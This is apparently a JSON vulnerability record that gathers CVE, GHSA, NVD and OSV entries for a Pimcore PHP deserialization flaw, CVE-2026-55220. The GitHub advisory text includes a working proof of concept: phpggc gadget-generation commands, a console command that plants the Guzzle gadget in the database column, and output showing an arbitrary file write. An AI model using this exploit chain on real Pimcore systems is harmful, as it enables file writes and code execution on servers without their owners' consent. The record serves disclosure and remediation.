{"id":"CVE-2026-55220","aliases":["EUVD-2026-67870","GHSA-w23p-wrp7-ch38"],"status":"published","title":"Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource() in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field __hotspots object-store column to Pimcore\\Tool\\Serialize::unserialize() without an allowed-classes restriction after JSON decoding fails. An attacker with a separate capability to write crafted PHP serialized bytes into that column can instantiate available classes and trigger magic methods when an affected DataObject is loaded, which can produce arbitrary file writes or code execution through bundled gadget chains. The related ImageGallery, Block, and Video callers use the same fallback pattern, but the identified June fix changes the Hotspotimage caller only. This issue is fixed for Hotspotimage in versions 11.5.19, 12.3.10, and 2026.1.6.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0068,"percentile":0.52843,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2026-08-28T19:12:43Z","modified":"2026-11-11T02:49:01Z","fixes":[{"ecosystem":"Packagist","package":"pimcore/pimcore","fixed_in":["2026.1.6","12.3.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"last_affected":"2026.1.5"},{"fixed":"2026.1.6"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"12.3.9"},{"fixed":"12.3.10"}]}]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.6"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2","v2026.1.3","v2026.1.4","v2026.1.5"]},{"source":"osv","ecosystem":"Packagist","package":"pimcore/pimcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.10"}]}],"versions":["10.0.8","2.2.0","2.2.1","2.2.2","2.3.0","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","4.0.0","4.0.1","4.1.0","4.1.1","4.1.2","4.1.3","4.2.0","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","v10.0.0","v10.0.0-BETA1","v10.0.0-BETA2","v10.0.0-BETA3","v10.0.0-BETA4","v10.0.1","v10.0.2","v10.0.3","v10.0.4","v10.0.5","v10.0.6","v10.0.7","v10.0.9","v10.1.0","v10.1.1","v10.1.2","v10.1.3","v10.1.4","v10.1.5","v10.2.0","v10.2.1","v10.2.10","v10.2.2","v10.2.3","v10.2.4","v10.2.5","v10.2.6","v10.2.7","v10.2.8","v10.2.9","v10.3.0","v10.3.1","v10.3.2","v10.3.3","v10.3.4","v10.3.5","v10.3.6","v10.3.7","v10.4.0","v10.4.1","v10.4.2","v10.4.3","v10.4.4","v10.4.5","v10.4.6","v10.5.0","v10.5.1","v10.5.10","v10.5.11","v10.5.12","v10.5.13","v10.5.14","v10.5.15","v10.5.16","v10.5.17","v10.5.18","v10.5.19","v10.5.2","v10.5.20","v10.5.21","v10.5.22","v10.5.23","v10.5.24","v10.5.25","v10.5.3","v10.5.4","v10.5.5","v10.5.6","v10.5.7","v10.5.8","v10.5.9","v10.6.0","v10.6.1","v10.6.2","v10.6.3","v10.6.4","v10.6.5","v10.6.6","v10.6.7","v10.6.8","v10.6.9","v11.0.0","v11.0.0-ALPHA1","v11.0.0-ALPHA2","v11.0.0-ALPHA3","v11.0.0-ALPHA4","v11.0.0-ALPHA5","v11.0.0-ALPHA6","v11.0.0-ALPHA7","v11.0.0-ALPHA8","v11.0.0-BETA1","v11.0.0-RC1","v11.0.0-RC2","v11.0.1","v11.0.10","v11.0.11","v11.0.12","v11.0.2","v11.0.3","v11.0.4","v11.0.5","v11.0.6","v11.0.7","v11.0.8","v11.0.9","v11.1.0","v11.1.0-RC1","v11.1.1","v11.1.2","v11.1.3","v11.1.4","v11.1.5","v11.1.6","v11.2.0","v11.2.1","v11.2.2","v11.2.3","v11.2.4","v11.2.5","v11.2.6","v11.2.7","v11.3.0","v11.3.0-RC1","v11.3.0-RC2","v11.3.1","v11.3.2","v11.3.3","v11.4.0","v11.4.0-RC1","v11.4.1","v11.4.2","v11.4.3","v11.4.4","v11.5.0","v11.5.0-RC1","v11.5.0-RC2","v11.5.1","v11.5.10","v11.5.11","v11.5.12","v11.5.13","v11.5.14","v11.5.14.1","v11.5.2","v11.5.3","v11.5.4","v11.5.5","v11.5.6","v11.5.7","v11.5.8","v11.5.9","v12.0.0","v12.0.0-RC1","v12.0.0-RC2","v12.0.1","v12.0.2","v12.0.3","v12.0.4","v12.1.0","v12.1.1","v12.1.2","v12.1.3","v12.1.4","v12.1.5","v12.2.0","v12.2.1","v12.2.2","v12.2.3","v12.2.4","v12.3.0","v12.3.1","v12.3.1.1","v12.3.2","v12.3.3","v12.3.4","v12.3.5","v12.3.6","v12.3.7","v12.3.8","v12.3.9","v5.0.0","v5.0.0-RC","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.1.0","v5.1.0-alpha","v5.1.1","v5.1.2","v5.1.3","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.5.0","v5.5.1","v5.5.2","v5.5.3","v5.5.4","v5.6.0","v5.6.1","v5.6.2","v5.6.3","v5.6.4","v5.6.5","v5.6.6","v5.7.0","v5.7.1","v5.7.2","v5.7.3","v5.8.0","v5.8.1","v5.8.2","v5.8.3","v5.8.4","v5.8.5","v5.8.6","v5.8.7","v5.8.8","v5.8.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.6.1","v6.6.10","v6.6.11","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.6.8","v6.6.9","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.8.0","v6.8.1","v6.8.10","v6.8.11","v6.8.12","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.8.6","v6.8.7","v6.8.8","v6.8.9","v6.9.0","v6.9.1","v6.9.2","v6.9.3","v6.9.4","v6.9.5","v6.9.6"]}],"products":[{"vendor":"pimcore","product":"pimcore"}],"references":[{"url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-w23p-wrp7-ch38","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/pimcore/pimcore/pull/19181","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pimcore/pimcore/commit/b184c01bf11e213e601d965b4e96c8bb7248e980","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/pimcore/pimcore/releases/tag/v12.3.10","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/pimcore/pimcore/releases/tag/v2026.1.6","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-w23p-wrp7-ch38"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55220.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55220","tags":["advisory"]},{"url":"https://github.com/pimcore/pimcore","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55220","title":"Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource() in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field __hotspots object-store column to Pimcore\\Tool\\Serialize::unserialize() without an allowed-classes restriction after JSON decoding fails. An attacker with a separate capability to write crafted PHP serialized bytes into that column can instantiate available classes and trigger magic methods when an affected DataObject is loaded, which can produce arbitrary file writes or code execution through bundled gadget chains. The related ImageGallery, Block, and Video callers use the same fallback pattern, but the identified June fix changes the Hotspotimage caller only. This issue is fixed for Hotspotimage in versions 11.5.19, 12.3.10, and 2026.1.6.","status":"published","published":"2026-08-28T19:12:43.739Z","modified":"2026-08-31T18:53:58.013Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-67870","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource() in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field __hotspots object-store column to Pimcore\\Tool\\Serialize::unserialize() without an allowed-classes restriction after JSON decoding fails. An attacker with a separate capability to write crafted PHP serialized bytes into that column can instantiate available classes and trigger magic methods when an affected DataObject is loaded, which can produce arbitrary file writes or code execution through bundled gadget chains. The related ImageGallery, Block, and Video callers use the same fallback pattern, but the identified June fix changes the Hotspotimage caller only. This issue is fixed for Hotspotimage in versions 11.5.19, 12.3.10, and 2026.1.6.","status":"published","published":"2026-08-28T19:12:43Z","modified":"2026-08-31T18:53:58Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:19.818565Z"}],"ghsa":[{"id":"GHSA-w23p-wrp7-ch38","title":"Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)","description":"## Summary\n\n`Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\\Tool\\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`).\n\nThe same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument.\n\n## Severity\n\nHigh. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.\n\n## Affected component\n\n- File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`.\n- Vulnerable lines (v2026.1.4 / v12.3.8):\n  ```php\n  $metaData = $data[$this-\u003egetName() . '__hotspots'];\n  // check if the data is JSON (backward compatibility)\n  $md = json_decode($metaData, true);\n  if (!$md) {\n      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true\n  } elseif (is_array($md)) {\n      $md['hotspots'] = $md;\n  }\n  ```\n- Root enabler: `lib/Tool/Serialize.php`\n  ```php\n  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed\n  {\n      if ($data === null || $data === '') { return $data; }\n      return unserialize($data, ['allowed_classes' =\u003e $allowedClasses]);  // default true = unrestricted\n  }\n  ```\n- Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\\ClassDefinition\\Data).\n- Package: `pimcore/pimcore` (Composer).\n- Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`).\n\n## Data flow\n\n1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `\u003cfield\u003e__hotspots` object-store column — i.e. PHP serialized bytes, not JSON.\n2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list.\n3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' =\u003e true])`, instantiating any class named in the bytes and triggering its magic methods.\n4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null `\u003cfield\u003e__image`.\n\nThe attacker primitive is the ability to place crafted serialized bytes into the `\u003cfield\u003e__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.\n\n## Proof of Concept\n\nVerified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\\Cookie\\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).\n\nGadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken):\n```\nprintf 'PWNED_BY_DESERIALIZATION_%s' \"$(date +%s)\" \u003e /tmp/ggc_local_src.txt\n./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\\n' \u003e /tmp/ggc_guzzle_fw1.ser\n# stored bytes begin: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{...\n```\n\nReproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_\u003cid\u003e.img__hotspots`, then reloads the object through the real Pimcore model layer):\n```php\n\u003c?php\ndeclare(strict_types=1);\nnamespace App\\Command;\n\nuse Pimcore\\Db;\nuse Pimcore\\Model\\Asset;\nuse Pimcore\\Model\\DataObject;\nuse Pimcore\\Model\\DataObject\\ClassDefinition;\nuse Symfony\\Component\\Console\\Attribute\\AsCommand;\nuse Symfony\\Component\\Console\\Command\\Command;\nuse Symfony\\Component\\Console\\Input\\InputInterface;\nuse Symfony\\Component\\Console\\Input\\InputOption;\nuse Symfony\\Component\\Console\\Output\\OutputInterface;\n\n#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]\nfinal class E2eHotspotCommand extends Command\n{\n    protected function configure(): void\n    {\n        $this-\u003eaddOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');\n        $this-\u003eaddOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');\n    }\n\n    protected function execute(InputInterface $input, OutputInterface $output): int\n    {\n        $o = fn (string $m) =\u003e $output-\u003ewriteln($m);\n        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');\n        $target = '/tmp/pimcore_pwned_hotspot.txt';\n        @unlink($target);\n\n        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');\n        $class = ClassDefinition::getByName('E2eHotspot');\n        if (!$class) {\n            $class = new ClassDefinition();\n            $class-\u003esetName('E2eHotspot');\n            $class-\u003esetGroup('e2e');\n            $field = new ClassDefinition\\Data\\Hotspotimage();\n            $field-\u003esetName('img');\n            $field-\u003esetTitle('img');\n            $panel = new ClassDefinition\\Layout\\Panel();\n            $panel-\u003esetName('Layout');\n            $panel-\u003eaddChild($field);\n            $class-\u003esetLayoutDefinitions($panel);\n            $class-\u003esave();\n        }\n        $o('  class id=' . $class-\u003egetId());\n\n        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');\n        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');\n        $asset = Asset::getByPath('/e2e_pixel.png');\n        if (!$asset) {\n            $asset = new Asset\\Image();\n            $asset-\u003esetFilename('e2e_pixel.png');\n            $asset-\u003esetParent(Asset::getById(1));\n            $asset-\u003esetData($png);\n            $asset-\u003esave();\n        }\n        $o('  asset id=' . $asset-\u003egetId());\n\n        $o('=== STEP 3: create+save object carrying that image ===');\n        $obj = DataObject::getByPath('/e2e_obj');\n        if (!$obj) {\n            $fqcn = '\\\\Pimcore\\\\Model\\\\DataObject\\\\' . $class-\u003egetName();\n            $obj = new $fqcn();\n            $obj-\u003esetKey('e2e_obj');\n            $obj-\u003esetParent(DataObject::getById(1));\n            $obj-\u003esetPublished(true);\n            $obj-\u003esetValue('img', new DataObject\\Data\\Hotspotimage($asset));\n            $obj-\u003esave();\n        }\n        $objId = $obj-\u003egetId();\n        $store = 'object_store_' . $class-\u003egetId();\n        $o('  object id=' . $objId . '  store=' . $store);\n\n        $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');\n        $db = Db::get();\n        $payload = $input-\u003egetOption('benign')\n            ? json_encode(['hotspots' =\u003e [], 'marker' =\u003e [], 'crop' =\u003e []])\n            : $gadget;\n        $db-\u003eexecuteStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);\n        $stored = (string) $db-\u003efetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);\n        $o('  stored prefix: ' . substr($stored, 0, 60));\n        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=\u003e unserialize fallback)');\n\n        $o('=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===');\n        \\Pimcore\\Cache::clearAll();\n        \\Pimcore\\Cache\\RuntimeCache::clear();\n        $o('  target file before load exists? ' . var_export(file_exists($target), true));\n\n        if ($input-\u003egetOption('restricted')) {\n            $o('  [negative control] fixed wrapper allowed_classes=false on the same bytes');\n            $res = @unserialize($stored, ['allowed_classes' =\u003e false]);\n            $o('  returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));\n            gc_collect_cycles();\n        } else {\n            try {\n                $reloaded = DataObject\\Concrete::getById($objId, ['force' =\u003e true]);\n                $reloaded-\u003egetImg(); // triggers Hotspotimage::getDataFromResource() lazy load\n                $o('  reloaded class=' . get_class($reloaded));\n                unset($reloaded);\n            } catch (\\Throwable $e) {\n                $o('  (post-unserialize downstream error, gadget already instantiated): ' . $e-\u003egetMessage());\n            }\n            gc_collect_cycles();\n        }\n\n        $o('=== RESULT ===');\n        clearstatcache();\n        if (file_exists($target)) {\n            $o('  [VULNERABLE] gadget file WRITTEN: ' . $target);\n            $o('  contents: ' . trim((string) file_get_contents($target)));\n        } else {\n            $o('  [NOT TRIGGERED] target file absent');\n        }\n        return Command::SUCCESS;\n    }\n}\n```\n\nCaptured output — RUN A (positive, gadget):\n```\n=== STEP 1: create DataObject class with a Hotspotimage field ===\n  class id=1\n=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\n  asset id=2\n=== STEP 3: create+save object carrying that image ===\n  object id=4  store=object_store_1\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\\Cookie\\FileCookieJar as array\n=== RESULT ===\n  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt\n  contents: [{\"Expires\":1,\"Discard\":false,\"Value\":\"PWNED_BY_DESERIALIZATION_1780420803\"}]\n```\n\nCaptured output — RUN B (negative control, benign JSON in the column):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  [negative control] storing benign JSON\n  stored prefix: {\"hotspots\":[],\"marker\":[],\"crop\":[]}\n  json_decode(stored) === null ? false  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  reloaded class=Pimcore\\Model\\DataObject\\E2eHotspot\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nCaptured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  [negative control] fixed wrapper allowed_classes=false on the same bytes\n  returned type=object class=__PHP_Incomplete_Class\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nRUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\\Cookie\\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack.\n\n## Impact\n\nPHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.\n\n## Remediation\n\nMake `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.\n\nPreferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):\n```php\npublic static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed\n```\n(i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `['allowed_classes' =\u003e false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1","status":"published","published":"2026-08-28T19:13:25Z","modified":"2026-08-28T19:13:26Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-55220","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource() in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field __hotspots object-store column to Pimcore\\Tool\\Serialize::unserialize() without an allowed-classes restriction after JSON decoding fails. An attacker with a separate capability to write crafted PHP serialized bytes into that column can instantiate available classes and trigger magic methods when an affected DataObject is loaded, which can produce arbitrary file writes or code execution through bundled gadget chains. The related ImageGallery, Block, and Video callers use the same fallback pattern, but the identified June fix changes the Hotspotimage caller only. This issue is fixed for Hotspotimage in versions 11.5.19, 12.3.10, and 2026.1.6.","status":"published","published":"2026-08-28T20:18:26.517Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55220","title":"Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column","description":"Pimcore is an Open Source Data \u0026 Experience Management Platform. Prior to 11.5.19, 12.3.10, and 2026.1.6, Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource() in models/DataObject/ClassDefinition/Data/Hotspotimage.php passes the field __hotspots object-store column to Pimcore\\Tool\\Serialize::unserialize() without an allowed-classes restriction after JSON decoding fails. An attacker with a separate capability to write crafted PHP serialized bytes into that column can instantiate available classes and trigger magic methods when an affected DataObject is loaded, which can produce arbitrary file writes or code execution through bundled gadget chains. The related ImageGallery, Block, and Video callers use the same fallback pattern, but the identified June fix changes the Hotspotimage caller only. This issue is fixed for Hotspotimage in versions 11.5.19, 12.3.10, and 2026.1.6.","status":"published","published":"2026-08-28T19:12:43.739Z","modified":"2026-11-11T10:47:33.247709166Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-11T03:21:28.618498Z"},{"id":"GHSA-w23p-wrp7-ch38","title":"Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502)","description":"## Summary\n\n`Pimcore\\Model\\DataObject\\ClassDefinition\\Data\\Hotspotimage::getDataFromResource()` deserializes the `*__hotspots` object-store column through the `Pimcore\\Tool\\Serialize::unserialize()` wrapper **without a class allowlist** (the wrapper's `$allowedClasses` parameter defaults to `true`, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-`serialize()`d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted `unserialize()` over the stored column value. An attacker who can write the `*__hotspots` store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (`__wakeup`/`__destruct`) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. `guzzlehttp/guzzle`).\n\nThe same field-data family also affects the sibling marshallers `ImageGallery`, `Block`, and `Video`, which use the identical `json_decode(...) ?: Serialize::unserialize(...)` fallback over their respective store columns. The root cause is shared: `Serialize::unserialize()` defaults to an unrestricted class list, and these callers pass no second argument.\n\n## Severity\n\nHigh. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled `guzzlehttp/guzzle 7.11.0`). This is the deserialization leg of an attack: it requires the ability to write the `*__hotspots` object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.\n\n## Affected component\n\n- File: `models/DataObject/ClassDefinition/Data/Hotspotimage.php`, method `getDataFromResource()`.\n- Vulnerable lines (v2026.1.4 / v12.3.8):\n  ```php\n  $metaData = $data[$this-\u003egetName() . '__hotspots'];\n  // check if the data is JSON (backward compatibility)\n  $md = json_decode($metaData, true);\n  if (!$md) {\n      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true\n  } elseif (is_array($md)) {\n      $md['hotspots'] = $md;\n  }\n  ```\n- Root enabler: `lib/Tool/Serialize.php`\n  ```php\n  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed\n  {\n      if ($data === null || $data === '') { return $data; }\n      return unserialize($data, ['allowed_classes' =\u003e $allowedClasses]);  // default true = unrestricted\n  }\n  ```\n- Sibling marshallers with the identical fallback shape: `ImageGallery`, `Block`, `Video` (DataObject\\ClassDefinition\\Data).\n- Package: `pimcore/pimcore` (Composer).\n- Affected versions: all currently maintained releases, including the latest `v2026.1.4` and `v12.3.8` (verified against deployed `v2026.1.4`).\n\n## Data flow\n\n1. On save, `Hotspotimage::getDataForResource()` stores the hotspot/marker/crop metadata as `Serialize::serialize($metaData)` into the `\u003cfield\u003e__hotspots` object-store column — i.e. PHP serialized bytes, not JSON.\n2. On load, `Hotspotimage::getDataFromResource()` reads that column, calls `json_decode()` (which fails for the serialized format), and therefore falls through to `Serialize::unserialize($metaData)` with the default unrestricted class list.\n3. `Serialize::unserialize()` invokes `unserialize($data, ['allowed_classes' =\u003e true])`, instantiating any class named in the bytes and triggering its magic methods.\n4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null 